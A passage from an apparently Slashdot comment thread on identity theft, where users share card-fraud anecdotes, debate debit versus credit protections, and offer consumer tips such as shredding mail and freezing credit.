    ----- And all that the Lorax left here in this mess was a small pile of rocks, with one word...UNLESS.
  48. I wanted my photo! by EvilStein · · Score: 1

    Bank of America took my photo. TWICE.

    4 weeks later, I finally got my new ATM/Check Card. With no photo on it. Man, I was bummed. :( it was the first time I didn't look like a crazed serial killer in a polaroid shot, too.

  49. BMO is worse. by mopslik · · Score: 2, Informative

    They limit you to a 7 CHARACTER PASSSWORD!

    Bank of Montreal is worse -- all passwords are between 4 and 6 characters. In fact, their FAQ lists 6 characters as a "good" password. Scary.

  50. There's a site that tested this... by antdude · · Score: 1

    See here. It is a test to see if anyone would notice the fake signatures/drawings/scribbles on the credit card receipts/transactions? It was funny to read and see the scanned images (love those drawings and unreadable scribbles).

    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  51. 100% percent of mothers of mine were victims by Anonymous Coward · · Score: 0

    100% of my mothers were a victim of identity theft in 12% of the past 6 to 8 years. She contacted her local police department which actually 100% rather than 50%-assedly contacted .001% of the police in Maryland and eventually helped prosecute the perp. My mother was 100% out of 0% of her money except for the 13% of the time during the N days it took to 75% resolve the problem: She put a "watch" on her credit which for her was 100% free since she had been a victim of fraud and now gets a letter about 1 out of every 200 days saying that an unsuccessful attempt had been made to create a card with her SSN.

  52. True Story by temojen · · Score: 4, Interesting
    A guy came up to the counter where I was working at (big chain convenience store) and asked for 6 cartons of cigarettes. Each of them a different brand, and all of them were brands the teenagers smoke. The total would be just over $300 CDN.

    I began to get them together (under the counter -- we'd had people grab & dash cartons off the counter the week before). Then the guy handed me a visa card. I read the card, looked at him, and said:
    "So Susan, have you got any ID?"
    His response was something along the lines of "It's because I'm black, isn't it?". Ummm, no, it's because I just saw you talking to those kids outside, and these are the brands they smoke, and this is not your credit card. He insisted that it was his wife's card; I insisted his wife could pick it up from the RCMP then (an RCMP car pulled up coincidentally), and he ran off.
    1. Re:True Story by soft_guy · · Score: 1

      Good job. Too bad more clerks aren't like you were.

      Also, what's RCMP?

      --
      Avoid Missing Ball for High Score
    2. Re:True Story by temojen · · Score: 1
    3. Re:True Story by Pig+Hogger · · Score: 1
      Also, what's RCMP?
      Royal Canadien Maudit Police.
    4. Re:True Story by Anonymous Coward · · Score: 0

      Mounted Police actually.

      Canadian federal police.

  53. makes sense by CAIMLAS · · Score: 1

    It makes sense. Murder and violent crime are the same - only 13% of violent crime (or was it murder? I don't recall) is committed against a stranger.

    Goes to show, people always hurt the ones they love. (Or are supposed to love...)

    Makes a person wonder how it all works together, what with the "sphere of familiarity" that people are supposed to have, where people have more empathy towards those they're most alike (or close to socially).

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    1. Re:makes sense by KD5YPT · · Score: 1

      Actually, what the statistic said is that murder and violent crimes are committed by people they "know". Following could constitute "knowing".

      1. Know them for a few month, which means they could be planning to hurt you.
      2. Know them, but are never actually friend.

      I mean, realistically, you don't just suddenly decide one day that you'll go out and kill someone (unless you're psychotic). Most murder/violent crime are committed because perpetrator, for most, have a reason why, and most of the time that reason stem from their interaction to the victims.

      --
      In US, you can easily buy enough major firearms to wipe out your neighbourhood but a few little fireworks are banned.
  54. You'll struggle to travel by grahamsz · · Score: 1

    I've seen people have a lot of trouble with this in the UK - to the point that they start signing 'ASK FOR ID' as their signature just to buy stuff.

    Now consider what happens when you are in a non-english speaking country. There aren't many other countries where a minimum wage store clerk will understand what and why you've got that written in place of a signature.

  55. Smart cards by grahamsz · · Score: 1

    I've given up using my smart credit cards because some stupid companies (i'm looking at you Taco Bell) dont train their staff on how to use them.

    Usually they swipe my card and the device reads "Error: Use Chip" along with a diagram showing how to insert the chip... and they claim that my card must be chipped and i need to get a new one issued by my bank... sigh.

  56. Cloned cards by grahamsz · · Score: 1

    I can buy a magstripe writer and copy your details onto my card with my photo... might even make it easier to get away with since my photo is on the card.

  57. Re:Speaking of such a thing... Comprimised CC Card by Anonymous Coward · · Score: 0

    Are you by any chance a customer of telephone company whose name starts with Q, ends with west, and who had the customer database compromised?

  58. Something like that just happened to me by grahamsz · · Score: 1

    Was hard trying not to laugh when the credit card guy had to ask if i'd signed up for a site called BlackCockDown...

  59. Reduce Junk Mail.Reduce the Risk of Identity Theft by $criptah · · Score: 3, Informative

    1. Take out every credit card and call every agency. Tell them that you do not want your information to be shared with anybody. That will reduce the risk of id theft due to less junk mail.

    2. Get a good shredder. Shred every piece of useless mail with your address on it.

    3. Sing up for paperless delivery of credit card statements and loans. Most companies use secure servers and if your ISP uses SSL then you can safely get mail in your inbox. The inbox can be archived and encrypted in the future.

    4. Sign up for electronic bill pay through your credit card. Your bills will be paid on time and you will get less mail. Remeber, somebody can get your address w/o taking your mail.

    5. Inspect your credit reports from three major agencies at least 2 times a year.

    6. Call credit report agencies and tell them not to share your info with any other institutions. CC agencies love to do that, especially if you have loans.

    7. If you get junk mail, see if you can opt-out. If you can, do that; otherwise, the companies who send you this shit can be in trouble.

  60. $50??? by carlcmc · · Score: 1

    Let me guess, you are in the starving student category?

    For people that routinely spend thousands per month on a credit card (read:employed) this would be an immense hassle. I doubt many would agree with you. Something that is useful is the company emailing you when a purchase greater than a certain ammount posts to your card. I recevie an email from discover when something larger than $300 posts.

    1. Re:$50??? by ikkonoishi · · Score: 1

      The numbers could be pregenerated by the customer beforehand.

      If you know you are going to go shopping then call the bank on the way to the mall and get say 10 transactions ready. Write the numbers down and give them out instead of your credit card number.

      And $50 is plenty for most quick purchases such as gas or snacks (unless you have an SUV) they could also allow you to up your minimum if you need to.

    2. Re:$50??? by Dhalka226 · · Score: 1

      If you know you are going to go shopping then call the bank on the way to the mall and get say 10 transactions ready.

      Works fine, unless

      - You stop at eleven stores

      - You didn't plan on going shopping at all. Maybe you went with a friend or just realised you needed something on the way somewhere else.

      - You thought you were going to spend less than $50 but the item cost more than you thought, you bought a higher-value like item (purposely or not), you figured in tax wrong, etc etc etc.

      - You didn't have as much cash in your wallet as you thought you did. Pesky kids always swiping money from mom and dad!

      And incidentally, if you're writing down a list of ten numbers that you have to give out essentially like a credit card number, it seems to me you have another problem there. Okay, so you won't hand a card with the number on it to a clerk; you'll read it aloud to him while another customer in line peeks over your shoulder instead and snags other numbers off the list instead.

    3. Re:$50??? by ikkonoishi · · Score: 1

      So you cancel the extras.
      Put a timeout on them.

      All of your problems are with the implementation not the actual idea. If you are just going to nitpick over every possiblity then even normal credit cards are useless. I mean what if you forgot to bring your card with you?

      A better way of doing it would be instead of having the call to authorize payments, you had a biometric scanner and a smart card, but that would have its own problems.

    4. Re:$50??? by jfisherwa · · Score: 1

      Please, give up now.

    5. Re:$50??? by lachlan76 · · Score: 1

      Better would be to require a PIN for all transactions, and use a modified mobile phone without any phone stuff, very, very small.

      Just everything needed to sign a token that they send, after decrypting the private key with a password.

  61. my ID theft merry-go-round by peter303 · · Score: 3, Interesting

    A "wife" I never met put her name on my checking account some years ago. I had to file a police report before the bank would cancel the bad checks. I lived in city #1, my bank was in city #2, and the band checks were passed in city #3. You wouldnt believe how hard it was to get oneof these three police stations to take a report. Forged checks are so commonplace that no one wants to bother.
    I'd hate to multiple this by many accounts, if a larger identity was stolen.

  62. obligatory line by Hachey · · Score: 1

    in Soviet Russia, identities steal YOU.

    --
    Please allow me to hate the creator of the 120-character limit: *HATES*. Thank you.
  63. Picture on Credit Card by digerati00 · · Score: 2, Informative

    Best option is to request your credit card company to have your picture printed on the CC. Citibank does this and hopefully all others will follow. I have had many cashiers commenting on how cool it is to have the picture on the CC.

    1. Re:Picture on Credit Card by Anonymous Coward · · Score: 0

      I have a Citibank card with my picture on it. I sometimes let my girlfriend (now wife) use the card - no one ever stopped her.

  64. Look again by sacrilicious · · Score: 1
    Any debit card with the Visa or MC logo has the same level of fraud protection as a credit card

    Hmm, I think you missed a crucial part of the link you supplied. At the top they start off with a strong statement that sounds like what you're saying, but it has an asterisk... which leads to this statement:

    Visa's Zero Liability policy does not apply to commercial card or ATM transactions, or to PIN transactions not processed by Visa....
    --
    - First they ignore you, then they laugh at you, then ???, then profit.
    1. Re:Look again by damiangerous · · Score: 1
      Hmm, I think you missed a crucial part of the link you supplied.

      No, I didn't. None of those things apply to normal use of your debit card. With the exception of ATM transactions (which are protected under banking regulations, not by Visa/MC specifically), I don't think I've ever made one of those other types of transactions. I'm not sure how you would even make a PIN transaction that's not processed by Visa, maybe in a foreign country and if you're concerned about it, just sign instead of PIN, it works just like a credit card!

    2. Re:Look again by Peyna · · Score: 1

      Thing is, a lot of people that have debit cards don't realize they can have it ran like a credit card, so they're always entering their pin. Of course, this also requires the thief to get the pin number as well, so that's probably why they don't cover it, because it's likely not be stolen.

      --
      What?
    3. Re:Look again by damiangerous · · Score: 1

      No, no, PIN transactions are covered. PIN transactions that are not processed by Visa are what's not covered.

    4. Re:Look again by Peyna · · Score: 1

      I'm pretty sure most PIN transactions wouldn't be processed by VISA, correct?

      --
      What?
    5. Re:Look again by damiangerous · · Score: 1
      I don't know who else would be processing them. The Zero Liability FAQ says: "The only transactions not covered under the Zero Liability policy are commercial card, ATM, and non-Visa-branded PIN transactions."

      Seems like if they're displaying the Visa logo you're covered.

  65. Less funny, but more practical... by skids · · Score: 1

    ...would be a sheet-feed scanner with intergrated shredder.

    1. Re:Less funny, but more practical... by fataugie · · Score: 1

      Assuming there wasn't a hickup and the scan fails but the shredder succeeds.

      --

      WTF? Over?

  66. Dilbert by GeoSanDiego · · Score: 2, Funny

    Reminds me of a Dilbert cartoon from a few years back.

    Guy in a restaurant as he is handing his credit card to the waitress says to his companion "I don't trust giving my credit card information online"

    When he waitress comes back for his signature she is wearing a fur coat.

    1. Re:Dilbert by Anonymous Coward · · Score: 0

      huh??

  67. Dear mods: by laughingcoyote · · Score: 2

    Random garbage followed by a scam link is not "insightful".

    Thank you.

    --
    To fight the war on terror, stop being afraid.
  68. True, but it's not the same. by sideshow · · Score: 2, Interesting

    If you lose your credit card and someone charges 10k on it, Visa doesn't make you pay it unless they find out you're defrauding them.

    If someone steals you debit card and charges 10k of your money, Wells Fargo doesn't give your money back untill they prove you aren't defrauding them.

    The rules are the same and you are at the same risk, but in one case Visa is out the money during the investagation and in the other you are out the money.

    --

    Hollow words will burn and hollow men will burn.

    1. Re:True, but it's not the same. by damiangerous · · Score: 1
      If someone steals you debit card and charges 10k of your money, Wells Fargo doesn't give your money back untill they prove you aren't defrauding them.

      No, as I posted earlier, they're required to give you your money back within five business days.

  69. Lemme do the math by Dark+Coder · · Score: 4, Informative

    Lets count the times that an identity theft occurred NOT by your close ones (relatives, neighbors, friends).

    28% is on-line
    39% is off-line by strangers (78%/2)
    equals
    67% by strangers.

    So, 1/3 of the ID theft is by someone you know. 2/3 is strangers.

    Tips to safeguard yourselves:

    1. Look in your wallet/purse and remove SSN# from all ID cards
    a) Medical card
    b) Dental card
    c) Old-man fraternity lodge
    d) Military ID
    e) and yes, your state drivers license (in dumb states only)

    You can verbally give your SSN# to the cop/doctor/guard if and when you get challenged. And no, you won't be fined for tampering with the license. Three Federal Statues will protect you on this formerly malicious act (IANAL, but I did it).

    2. Use shredders on the following containing account numbers, ID# or SSN#
    a) bank statements
    b) loan offers
    c) utility bills
    d) FAXes
    e) virtually anything with your SSN# (and account #)

    3. Perform lockout of your credit history. It is free to do. $10 to unlock it (how often do you apply for credits?)

    4. Religiously apply for opt-out with insurance and financial institutions for your rights on Privacy Act. This hopefully eliminates sharing of your information.

    Above steps goes a LONG WAY to drastically minimizing your vulnerability level and will go to bolstering your legal case against the identity theives, if and when, they get caught.

    Carpa Diem!

  70. Use fictitious identity to prevent identity theft? by Anonymous Coward · · Score: 0

    Maybe a good idea to use a fictitious identity for any transactions where there is no need-to-know?

    If I understand correctly, this is legal unless you use it to defraud, for example if the fictitious ID is used to incur debt and not pay it.

  71. Good God! DONT ASK FOR PAPERLESS STATEMENTS by Dark+Coder · · Score: 2, Insightful

    Most of the financial and insurance institutions who implement paperless statements send it UNENCRYPTED over SMTP protocol.

    DON'T DO THIS STEP.

    Only extract the statement from the institutions' secured web pages.

    1. Re:Good God! DONT ASK FOR PAPERLESS STATEMENTS by $criptah · · Score: 1

      Security depends on the company. I called my ISP, confirmed that all my mail was with SSL. Then I called the credit card company and ask how they sent stuff to me. They used SSL as well as other methods of security. For example, your card info is not disclosed on the statement. You need to go to the web site if you want to check the statement. The e-mail that you get has xxxxxxxxxx for the account number on it. Just your name and balance.

      My other vendors are the same way.

  72. I trust you hosed it? by No+Such+Agency · · Score: 1

    I assume that if it was a physical keylogger on the keyboard cable you pocketed it, and if it was software you deleted it, right?

    --
    Freedom: "I won't!"
    1. Re:I trust you hosed it? by PitaBred · · Score: 1

      No, what you do is leave it there, notify the administrators, and notify the police. Let them watch to see who comes and picks it up. Maybe set an "out of order" sign on the computer until then.

  73. One thing left out intentionally by Dark+Coder · · Score: 1

    Noticed that I intentionally left out the following step:

    5. Ask for paperless statements from finacial and insurance institutions.

    I discourage this step because there are a good number of these institutions still sending these statement by unsecured SMTP protocol (email for the uninitiated).

    Those information will get replicated (whether you wanted them to or not) on and by various mail servers configured to do so. And stored eventually on recordable medias.

    Such recordable medias are but not limited to:

    1. The sender's "Send" folder
    2. The sender's MTA recorder (SarBox and HIPAA requires that)
    3. The mail relay's recorder (if any)
    4. hackers' sniffing the pipes
    5. The receiver's ISP mail queue
    6. The receiver's corporate mail queue (SarBox/HIPAA)
    7. The receiver's hard drive (easy to lift with Google Search Box)

    God knows what kind of institution DOESN'T practice individual privacy preservation on these recorded medias.

    1. Re:One thing left out intentionally by Aero · · Score: 1

      If your institution's idea of a paperless statement is one that is emailed to you, then I'd think twice about doing ANY business with them, since paying lip service to preventing identity theft is worse than not doing anything about it at all (IMHO). A proper paperless statement is simply a notice of availability emailed to you, and then you still have to log onto the website and authenticate properly (and securely) to read it.

      --
      We can believe in you for 3 minutes, but beyond that, even the King of All Cosmos can't be expected to wait.
  74. 3 times by codeconfused · · Score: 0

    In the 3 times that this happened to me in 2003, Once the company called me and asked me if I had made a purchase, which I didn't. The second time the card company said " the account was compromized". The 3rd time "my atm card/checking" somehow was taken and emptied in france. I have no idea how this card was taken. I only used it at atm's. Since then I use equifax.com to monitor all my accounts. All has been well since then.

    --
    Danger Will Robinson! You are now entering a condescending Unix user zone!
  75. 0K, here's identity theft for you by Anonymous Coward · · Score: 0

    John Snook, from Champaign County, Illinois, broke into my car and stole about 3000USD worth of camera gear on loan to me, along with my briefcase, passport, drivers license, birth certificate, and every other id I had. He's a convicted felon, by the way. I've tracked him. He sold this id stuff to some mid-eastern bastards, but now I can't fly, travel, or drive without being stopped and harassed. I know he did this, because I have a witness to testify. He also broke into my parents home and stole their 23" tv. This is corroborated data. I am a physicist, and only deal in fact. John Snook is a crook.

    1. Re:0K, here's identity theft for you by Anonymous Coward · · Score: 0

      One more thing. He fancies himself a Visual Basic developer, and has/had no scruples about spyware or other nasties. The stealing from me cost me over ten years of my career as a scientist, in the city of my choice, and my reputation, earned by building part of the space shuttle, measuring the northern hemisphere ozone depletion, and cleaning up toxic dumps in New Jersey. In short: watch out for this guy, he's a bad one. He uses alias.

  76. spin it the other way by nothings · · Score: 2, Interesting
    Ok, so if half of ID theft is friends & family, then half of it isn't. Friends & family probably do 99% of their theft offline, so let's call it 100%. What does that leave us for stranger-theft?

    Friends & family theft: 50% of all theft; 100% occurs offline
    Stranger theft: 50% of all theft; 44% occurs offline, 56% occurs online

    (Why? Because 72% of all theft occurs offline, and friends and family accounts for 50% of the total. Given 100 thefts, 50 of them are friends and family, and (72-50) are offline non-friends non-family, or 22. That leaves 28 thefts to occur online.)

    If that conclusion is really true, then you can spin these numbers in the entirely opposite direction; the headline could be More Identity Theft By Strangers Online than Offline.

    However, the article also says that online theft of bank and CC information is only 12% of all identity theft. 72% + 12% = 84%; who knows where the other 16% really are (maybe they're online theft but not bank/CC). Ain't lying with statistics grand?

  77. Buy a good crosscut shredder by SCHecklerX · · Score: 1

    Everything that comes in the mail with my name on it goes directly into mine, especially all of those #!@$% credit card applications

  78. Staying online all the time... by noidentity · · Score: 1

    You're much more likely to have your identity stolen offline (72% of the cases).

    To all my ex-friends who said I was wasting my time by staying online all the time, you see, it was to protect my finances!

  79. The real problem: offline debit. by Anonymous Coward · · Score: 0

    In the US, the only debit card system is offline, meaning that it's as secure as a credit card. Up here in Canada, all debit is online, meaning you transact much as you would at an ATM: you swipe the card and enter your PIN to make the payment. So long as you cover the PIN pad with your hand, it's almost 100% secure. I pay debit for practically everything over $10, get a full list of transactions on my bank statement, and never have to worry about it being hijacked. Great system.

  80. Retail problem by willCode4Beer.com · · Score: 1

    I tend to put this into the problem with retail in the US.
    Most retail workers are paid minimum wage or slightly more. It has to be hard to get a significant pool of trustworthy applicants when the pay is so far below poverty. For someone making $5.15/hour and risking their lives to do it, the temptation to do this is probably pretty high.

    For the consumers, we get crappy service and a higher risk of getting ripped off (as you related). We are of course addicted to the convenience of plastic (I am).

    I don't think we'll see anything change at the retail level in the near future. The liability to the companies with these employees is too low for them to care so they have little incentive to offer more money to get/keep higher quality employees.

    --
    ----- If communism is a system where the government owns business, what do you call a system where business owns govern
  81. I'm confused by doombob · · Score: 1

    What is this "shredding of mail" that everyone speaks of. I don't want to shred my Outlook Express! Besides, my LCD won't fit in a trash can.

  82. Theft? by sadiklis · · Score: 1

    How dare you call it "theft"? One of you even cracked up a phrase "data theft".

    On /., last time i checked, these were to be called "copies" because the original is still left intact.

    They're sharing, not stealing, your IDs :-)

  83. Watch the ATMs as well... by orion41us · · Score: 1
  84. Open-Sourcing Mailboxes by billstewart · · Score: 1
    In the US, most mailboxes on houses don't lock, and most mailboxes in apartment complexes are rows of little boxes that do lock. Stealing mail isn't very common, though it does happen. Private delivery services don't use the Post Office mailboxes, because of postal monopoly rules, and many people in rural areas have second or third boxes near their mailboxes for newspapers, etc.

    It's not difficult to make mailboxes that let you put letters into them without a key and only take them out with a key (or with thin pliers :-) Most apartment mailboxes use this for outgoing mail.

    --

    Bill Stewart
    New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks